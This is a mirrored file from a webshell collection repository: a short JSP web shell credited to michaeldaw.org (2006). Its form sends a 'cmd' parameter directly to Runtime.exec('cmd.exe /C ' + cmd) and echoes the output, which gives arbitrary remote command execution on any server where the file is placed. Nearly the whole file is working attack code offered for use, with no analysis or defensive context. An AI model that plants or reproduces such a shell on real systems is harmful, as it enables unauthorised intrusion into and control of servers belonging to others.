mirror of
https://github.com/tennc/webshell
synced 2024-11-14 23:47:10 +00:00
33 lines
725 B
Text
33 lines
725 B
Text
|
// note that linux = cmd and windows = "cmd.exe /c + cmd"
|
||
|
|
||
|
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
|
||
|
<INPUT name='cmd' type=text>
|
||
|
<INPUT type=submit value='Run'>
|
||
|
</FORM>
|
||
|
|
||
|
<%@ page import="java.io.*" %>
|
||
|
<%
|
||
|
String cmd = request.getParameter("cmd");
|
||
|
String output = "";
|
||
|
|
||
|
if(cmd != null) {
|
||
|
String s = null;
|
||
|
try {
|
||
|
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
|
||
|
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
|
||
|
while((s = sI.readLine()) != null) {
|
||
|
output += s;
|
||
|
}
|
||
|
}
|
||
|
catch(IOException e) {
|
||
|
e.printStackTrace();
|
||
|
}
|
||
|
}
|
||
|
%>
|
||
|
|
||
|
<pre>
|
||
|
<%=output %>
|
||
|
</pre>
|
||
|
|
||
|
<!-- http://michaeldaw.org 2006 -->
|